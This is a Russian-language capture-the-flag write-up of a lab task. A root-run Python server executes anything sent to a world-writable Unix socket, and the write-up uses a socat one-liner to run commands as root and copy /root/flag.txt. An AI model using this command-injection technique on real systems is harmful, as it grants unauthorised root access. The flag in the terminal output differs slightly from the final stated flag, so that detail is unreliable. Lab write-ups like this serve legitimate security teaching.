

Privilege-Escalation-11 Портал пиглинов

В подземном царстве Нижнего мира пиглины построили специальный портал, который работает через древний сокет. Используя этот портал пиглинов, чтобы добраться до их сокровищ!

Рекомендуемые утилиты: ssh, bash

Цель работы: Использовать мискофигурацию сервера, повысить привилегии и прочитать флаг /root/flag.txt

Критерий оценки: Предоставление правильного флага

Решение

Смотрим на домашнюю директорию.

```
steve@e6a36871693c:~$ ls -la
total 44
drwxr-x--- 1 steve steve 4096 Jan 17 14:28 .
drwxr-xr-x 1 root  root  4096 Jan 17 14:28 ..
-rw-r--r-- 1 steve steve  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 steve steve 3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 steve steve  807 Jan  6  2022 .profile
drwx----- 2 steve steve 4096 Jan 17 14:28 .ssh
drwxr-xr-x 1 steve steve 4096 Jan 17 14:28 minecraft
-rwxr--r-- 1 root  root   137 Oct 28 20:47 run.sh
-rwxr--r-- 1 root  root  1819 Oct 28 21:02 server.py
steve@e6a36871693c:~$
```

Находим в домашней директории server.py, который слушает Unix-сокеты от root и исполняет всё полученное содержимое как команду (os.system). Сокет доступен на запись для всех. Достаточно отправить полезную нагрузку - команда выполнится от root.

С помощью утилиты socat отправляем на Unix-сокеты /tmp/piglin_portal.s команду. Эта команда записывает содержимое флага из /root/flag.txt в файл /tmp/flag.txt и устанавливает на него права доступа 644, чтобы его можно было прочитать.

```
printf 'cat /root/flag.txt > /tmp/flag.txt; chmod 644 /tmp/flag.txt\n' | socat - UNIX-CONNECT:/tmp/piglin_portal.s
```

Читаем флаг

```
cat /tmp/flag.txt
```

```
steve@e6a36871693c:~$ printf 'cat /root/flag.txt > /tmp/flag.txt; chmod 644 /tmp/flag.txt\n' | socat - UNIX-CONNECT:/tmp/piglin_portal.s
Command executed: cat /root/flag.txt > /tmp/flag.txt; chmod 644 /tmp/flag.txt
steve@e6a36871693c:~$ cat /tmp/flag.txt
vsosh{p1g11ns_4r3_r3ally_h4ndy}
steve@e6a36871693c:~$
```

Флаг

vsosh{p1gl1ns_4r3_r3ally_h4ndy}